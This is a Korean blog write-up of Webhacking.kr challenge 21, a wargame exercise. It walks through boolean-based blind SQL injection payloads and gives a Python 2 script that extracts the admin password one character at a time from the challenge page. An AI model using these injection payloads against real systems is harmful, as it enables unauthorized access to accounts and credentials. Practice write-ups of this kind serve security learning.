cdor1's lab
Webhacking.kr 21번 본문
입력칸에 입력하게되면 no값에 내 인풋이 들어가게 되는데 1, 2를 넣었을때 참인 것을 보아 예전에 풀었던 문제처럼 테이블 모양을 유추할 수 있을것 같았다.
id pw
guest ?
admin ?
이제 admin의 패스워드 길이를 유추해보려고 한다.
2 and length(id)=5
를 넣었을 때 참이 반환되는 것으로 보아 admin일 확률이 높은데
확실하게 하기 위해 admin으로 추측되는 id의 첫번째 자리를 알아내 보자.
2 and ascii(substr(id, 1, 1)) = 97(a)
참이 반환됐다. admin이라고 확신하고 공격해보려고 한다.
2 and length(pw)=19
를 넣었을 때 참이 반환되므로 admin의 패스워드 길이는 19이고
소스를 짜서 패스워드를 알아보자.
import re, urllib, urllib2
pw=""
ssid = "b96252b25e601517afd1422b5fcd5d91"
print "find pw"
for i in range(1, 20):
for j in range(97, 128):
url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php?id=&pw=&no=2"
url += "%20and%20ascii(substr(pw,"+str(i)+",1))=" + str(j)
req=urllib2.Request(url) # send request
req.add_header('Cookie',"PHPSESSID=%s" % ssid)
read = urllib2.urlopen(req).read()
if "True" in read:
pw += chr(j)
print "pw: " + pw
break
print "Fin"
파이썬으로 sql injection 소스 짜는것도 어느정도 친숙해 진 것 같다.
몇가지 예외경우만 공부해서 익혀놓으면 포너블 익스처럼 편하게 짤 수 있겠지?
'Security > Web' 카테고리의 다른 글
Webhacking.kr 28번 (0) | 2017.04.06 |
---|---|
Webhacking.kr 50번 (0) | 2017.04.05 |
urllib2 request (0) | 2017.04.03 |
Webhacking.kr 25번 (0) | 2017.04.03 |
Webhacking.kr 18번 (0) | 2017.04.01 |
Comments